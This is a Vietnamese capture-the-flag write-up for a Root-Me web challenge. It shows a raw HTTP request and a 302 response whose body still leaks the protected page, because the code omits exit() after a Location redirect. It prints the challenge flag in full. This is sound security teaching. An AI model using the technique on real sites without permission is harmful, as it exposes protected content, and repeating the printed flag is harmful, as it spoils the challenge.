

Bắt đầu challenge, ta có 1 form đăng nhập, xem qua source code cũng không có gì

You must be authenticated in order to access this page !

Login :

Password :

Từ gợi ý của đề bài, ta thử truy cập vào index.php của server

```
1 GET /web-serveur/ch32/index.php?redirect HTTP/1.1
2 Host: challenge01.root-me.org
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0)
  Gecko/20100101 Firefox/102.0
4 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
  mage/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Connection: close
8 Cookie: _ga_SRYSKX09J7=GS1.1.1685434844.5.1.1685436940.0.0.0; _ga=
  GA1.1.841773813.1685372348
9 Upgrade-Insecure-Requests: 1
10
11

1 HTTP/1.1 302 Found
2 Server: nginx
3 Date: Tue, 30 May 2023 09:04:46 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: close
6 Location: ./login.php?redirect
7 Content-Length: 547
8
9 <html>
10 <body>
11   <link rel='stylesheet' property='stylesheet' id='s' type='
    text/css' href='/template/s.css' media='all' />
    <iframe id='iframe' src='
      https://www.root-me.org/?page=externe_header'>
    </iframe>
12   <h1>
    Welcome !
    </h1>
13   <p>
    Yeah ! The redirection is OK, but without exit() after the
    header('Location: ...'), PHP just continue the execution and
    send the page content !...
    </p>
14   <p>
    <a href="http://cwe.mitre.org/data/definitions/698.html">
      CWE-698: Execution After Redirect (EAR)
    </a>
    </p>
15   <p>
    The flag is : ExecutionAfterRedirectIsBad
    </p>
16
```

Ta nhận được password cho bài này: ExecutionAfterRedirectIsBad

Lỗi ở đây chính là sau khi redirect trang bằng header **Location**, họ quên exit() hoặc die() nên phần code theo sau vẫn được thực hiện.